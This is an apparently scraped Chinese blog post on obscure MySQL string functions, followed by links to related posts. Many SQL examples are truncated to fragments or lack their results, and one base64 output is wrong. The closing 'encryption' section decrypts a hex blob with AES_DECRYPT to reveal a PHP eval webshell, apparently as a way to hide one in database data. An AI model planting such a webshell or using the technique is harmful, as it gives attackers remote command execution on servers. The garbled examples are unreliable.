0X01 字符串函数

STRCMP

STRCMP(expr1,expr2)

若所有的字符串均相同,则返回STRCMP(),若根据当前分类次序,第一个参数小于第二个,则返回  -1,其它情况返回 1 。

mysql> SELECT STRCMP('text', 'text2');

mysql> SELECT STRCMP('text2', 'text');

mysql> SELECT STRCMP('text', 'text');

mysql> SET @s1 = _latin1 'x' COLLATE latin1_general_ci;

mysql> SET @s2 = _latin1 'X' COLLATE latin1_general_ci;

mysql> SET @s3 = _latin1 'x' COLLATE latin1_general_cs;

mysql> SET @s4 = _latin1 'X' COLLATE latin1_general_cs;

mysql> SELECT STRCMP(@s1, @s2), STRCMP(@s3, @s4);

+------------------+------------------+

| STRCMP(@s1, @s2) | STRCMP(@s3, @s4) |

+------------------+------------------+

                                  |

+------------------+------------------+

在执行比较时,STRCMP() 使用当前字符集。这使得默认的比较区分大小写,当操作数中的一个或两个都是二进制字符串时除外。

REGEXP

正则表达式操作在决定字符类型和执行比较时,使用字符串表达式和模式参数的字符集和排序规则。

如果其中一个参数是二进制字符串,则以区分大小写的方式将参数处理为二进制字符串。

mysql> SELECT 'Michael!' REGEXP '.*';

+------------------------+

| 'Michael!' REGEXP '.*' |

+------------------------+

                       |

+------------------------+

mysql> SELECT 'new*\n*line' REGEXP 'new\\*.\\*line';

+---------------------------------------+

| 'new*\n*line' REGEXP 'new\\*.\\*line' |

+---------------------------------------+

 |

+---------------------------------------+

mysql> SELECT 'a' REGEXP '^[a-d]';

+---------------------+

| 'a' REGEXP '^[a-d]' |

+---------------------+

 |

+---------------------+

mysql> SELECT 'fo\nfo' REGEXP '^fo$';

mysql> SELECT 'fofo' REGEXP '^fo';

mysql> SELECT 'fo\no' REGEXP '^fo\no$';

mysql> SELECT 'fo\no' REGEXP '^fo$';

mysql> SELECT 'fofo' REGEXP '^f.*$';

mysql> SELECT 'fo\r\nfo' REGEXP '^f.*$';

mysql> SELECT 'Ban' REGEXP '^Ba*n';

mysql> SELECT 'Baaan' REGEXP '^Ba*n';

mysql> SELECT 'Bn' REGEXP '^Ba*n';

UPPER

UPPER(str)
返回字符串str,根据当前字符集映射将所有字符更改为大写。缺省值是latin1 (cp1252西欧)。

mysql> SELECT UPPER('Hej');

-> 'HEJ'

LOWER

LOWER(str)

返回字符串str,根据当前字符集映射将所有字符更改为小写。缺省值是latin1 (cp1252西欧)。

mysql> SELECT LOWER('QUADRATICALLY');

-> 'quadratically'

LPAD

LPAD(str,len,padstr)

返回字符串str,用字符串padstr左填充为len字符长度。如果str比len长,则返回值缩短为len字符。

mysql,'??');

-> '??hi'

mysql,'??');

-> 'h'

LTRIM

LTRIM(str)

返回删除了前面空格字符的字符串str。

mysql> SELECT LTRIM(' barbar');

-> 'barbar'

MAKE_SET

MAKE_SET(bits,str1,str2,…)

返回一个set值(一个包含由字符分隔的子字符串的字符串),该字符串包含以bit . str1为单位的对应位,set. str1对应于bit 0, str2对应于bit 1,等等。str1、str2、…中的空值不附加到结果中。

 

这个函数看解释稍微有点难理解

eg1

bits将转为二进制,1的二进制为0001,倒过来为1000,所以取str1(a),打印a.

1|4转为二进制为0001 | 0100, | 是进行或运算,得到0101,倒过来为1010,所以取str1(a),str3©,打印a,c.

 

mysql,'a','b','c');

-> 'a'

mysql ,'hello','nice','world');

-> 'hello,world'

mysql ,'hello','nice',NULL,'world');

-> 'hello'

mysql,'a','b','c');

-> ''

OCTET_LENGTH

OCTET_LENGTH(str)

OCTET_LENGTH()是LENGTH()的同义词。

 

返回字符串str的长度,以字节为单位。多字节字符作为多个字节计数。这意味着对于包含5个2字节字符的字符串,LENGTH()返回10,而CHAR_LENGTH()返回5。

mysql> SELECT LENGTH('text');

LOCATE

LOCATE(substr,str), LOCATE(substr,str,pos)

第一个语法返回字符串str中子字符串substr第一次出现的位置。第二个语法返回字符串str中子字符串substr第一次出现的位置,从pos位置开始。如果子字符串不在str中,则返回0。

 

mysql> SELECT LOCATE('bar', 'foobarbar');

mysql> SELECT LOCATE('xbar', 'foobar');

mysql);

MID SUBSTRING

LOCATE(substr,str), LOCATE(substr,str,pos)

 

第一个语法返回第一次出现的位置的子串的子串字符串str。第二个语法返回第一次出现的位置字符串str子串的子串的开始位置pos。返回0如果substr str不在。返回NULL字符串的子串或str为NULL。

mysql);

-> 'ratically'

mysql);

-> 'barbar'

mysql,);

-> 'ratica'

mysql);

-> 'ila'

mysql, );

-> 'aki'

mysql );

-> 'ki'

SUBSTRING_INDEX

SUBSTRING_INDEX(str,delim,count)

在分隔符delim出现计数之前,从字符串str返回子字符串。如果count为正数,则返回最后分隔符左边的所有内容(从左边计数)。如果count为负数,则返回最后分隔符右边的所有内容(从右边计数)。SUBSTRING_INDEX()在搜索delim时执行区分大小写的匹配。

mysql);

-> 'www.mysql'

mysql);

-> 'mysql.com'

TO_BASE64

TO_BASE64(str)

将字符串参数转换为以base-64编码的形式,并使用连接字符集和排序规则以字符串的形式返回结果。如果参数不是字符串,则在转换之前将其转换为字符串。如果参数为空,则结果为空。可以使用FROM_BASE64()函数解码Base-64编码的字符串。

mysql> SELECT TO_BASE64('abc'), FROM_BASE64(TO_BASE64('abc'));

-> 'JWJj', 'abc'

FROM_BASE64

接受一个用TO_BASE64()使用的base-64编码规则编码的字符串,并将解码后的结果作为二进制字符串返回。如果参数为NULL或不是有效的base-64字符串,则结果为NULL。有关编码和解码规则的详细信息,请参阅TO_BASE64()的描述。

mysql> SELECT TO_BASE64('abc'), FROM_BASE64(TO_BASE64('abc'));

-> 'JWJj', 'abc'

0x02 加密

MariaDB [(none)]> SELECT AES_DECRYPT(UNHEX("4B8A46D45BFA21AB2301907A63E868E3293216683CF8FF8A08A4C96986627A59"),"PASS");

+---------------------------------------------------------------------------

| AES_DECRYPT(UNHEX("4B8A46D45BFA21AB2301907A63E868E3293216683CF8FF8A08A4C96986627A59"),"PASS") |

+---------------------------------------------------------------------------

| <?php eval($_POST["cmd"]);?>                                                                  |

+---------------------------------------------------------------------------

 row in set (0.00 sec)

MySQL生僻函数的更多相关文章

  1. mysql 自定义函数

    原文:http://www.cnblogs.com/zhangminghui/p/4113160.html 引言 MySQL本身提供了内置函数,这些函数的存在给我们日常的开发和数据操作带来了很大的便利 ...

  2. mysql 日期函数总结

    1.0 格式化:DATE_FORMAT() 函数用于以不同的格式显示日期/时间数据. 语法 DATE_FORMAT(date,format) date 参数是合法的日期.format 规定日期/时间的 ...

  3. MySQL concat函数的使用

    MySQL concat函数是MySQL数据库中众多的函数之一,下文将对MySQL concat函数的语法和使用进行说明,供您参考和学习. MySQL concat函数使用方法:CONCAT(str1 ...

  4. mysql常用函数参考

    mysql常用函数参考   对于针对字符串位置的操作,第一个位置被标记为1. ASCII(str) 返回字符串str的最左面字符的ASCII代码值.如果str是空字符串,返回0.如果str是NULL, ...

  5. MySQL replace函数替换字符串语句的用法(mysql字符串替换)

    MySQL replace函数我们经常用到,下面就为您详细介绍MySQL replace函数的用法,希望对您学习MySQL replace函数方面能有所启迪. 最近在研究CMS,在数据转换的时候需要用 ...

  6. 第十章 MySQL 常用函数

    第十章 MySQL 常用函数 第一节:日期和时间函数 1,CURDATE() 返回当前日期:2,CURTIME() 返回当前时间:3,MONTH(d) 返回日期 d 中的月份值,范围是 1~12 第二 ...

  7. Mysql时间函数

    http://blog.sina.com.cn/s/blog_6d39dc6f0100m7eo.html mysql中函数和关键字不区分大小写.下文函数的datetime参数处既可以用时间字符串也可以 ...

  8. FROM_UNIXTIME 格式化MYSQL时间戳函数

    FROM_UNIXTIME 格式化MYSQL时间戳函数 对MYSQL没有进行过深入的研究,基础知识匮乏,一遇到问题只能手册,看来要把MYSQL的学习安排进时间表了. 函数:FROM_UNIXTIME作 ...

  9. MySQL Date 函数

    MySQL Date 函数 下面的表格列出了 MySQL 中最重要的内建日期函数: 函数 描述 NOW() 返回当前的日期和时间 CURDATE() 返回当前的日期 CURTIME() 返回当前的时间 ...

随机推荐

  1. Java8之熟透Optional

    一.使用Optional引言 1.1.代码问题引出 在写程序的时候一般都遇到过 NullPointerException,所以经常会对程序进行非空的判断: User user = getUserByI ...

  2. Python--使用四种随机方法(Random)来产生随机价格

    import random # 卖橘子的计算器:写一段代码,提示用户输入橘子的价格,# 然后随机生成购买的斤数(5到10斤之间),最后计算出应该支付的金额! # 第一种# orange_price = ...

  3. 【pymongo.errors】Cursor not found

    pymongo.errors.CursorNotFound: Cursor not found 故事背景:先从数据库中取得所有数据 db['test'].find(),然后对结果进行for循环,但是当 ...

  4. Spring事务传播行为中可能的坑点

    一.简介 Spring事务配置及相关说明详见:https://www.cnblogs.com/eric-fang/p/11052304.html.这里说明spring事务的几点注意: 1.默认只会检查 ...

  5. Mybatis源码解析,一步一步从浅入深(一):创建准备工程

    Spring SpringMVC Mybatis(简称ssm)是一个很流行的java web框架,而Mybatis作为ORM 持久层框架,因其灵活简单,深受青睐.而且现在的招聘职位中都要求应试者熟悉M ...

  6. 回顾TCP的三次握手过程

    在TCP/IP协议中,TCP协议提供可靠的连接服务,采用三次握手建立一个连接.第一次握手:建立连接时,客户端发送syn包(syn=j)到服务器,并进入SYN_SEND状态,等待服务器确认: SYN:同 ...

  7. Spring boot使用log4j打印日志

    先将maven中spring-boot-starter的日志spring-boot-starter-logging去掉 <dependency> <groupId>org.sp ...

  8. Linux-----centos6.2---安装Linux的流程

      1.安装命令 # yum install mysql-server mysql 2.查看是否安装正确 # chkconfig --list mysqld 3.启动 (1).启动服务: # serv ...

  9. python学习笔记之zipfile模块

    为什么学习: 在做自动化测试平台的apk上传功能部分时候,涉及到apk上传后提取apk的icon图标,通过aapt解析apk,获取对应icon在apk中的地址,通过python的zipfile模块来解 ...

  10. dependencies 与 dependencyManagement 区别

    dependencies 即使在子项目中不写该依赖项,那么子项目仍然会从父项目中继承该依赖项(全部继承)dependencyManagement 里只是声明依赖,并不实现引入,因此子项目需要显示的声明 ...